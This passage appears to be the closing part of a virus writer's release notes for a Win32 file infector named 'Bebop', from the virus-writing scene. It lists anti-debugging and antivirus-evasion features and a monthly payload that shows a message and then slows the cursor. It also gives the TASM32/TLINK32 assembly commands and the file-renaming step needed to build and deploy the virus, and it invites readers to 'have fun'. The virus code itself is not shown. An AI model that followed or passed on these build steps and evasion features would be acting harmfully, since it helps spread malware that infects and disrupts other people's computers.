-don't infect again
Features:
-Anti-Debug
-Anti-AV-Monitors
-Anti-Bait
Payload:
-on the first day every month
-first show a little message
-after that the cursor is very slow
-workz with a thread
Greetz:
Industry - m8! See on rRLF 3
Monochrom - thanx for TASM32, you see... ;)

rename Bebop666.EXE Bebop.SYS
Virus ->
TASM32 /z /ml /m3 Bebop,,;
TLINK32 -Tpe -c -aa Bebop,Bebop,, import32.lib
[Bebop.EXE and Bebop.SYS must be in one directory]
Ok, that's it! I write many comment's in the code...
...HAVE FUN and read my tut's! :)
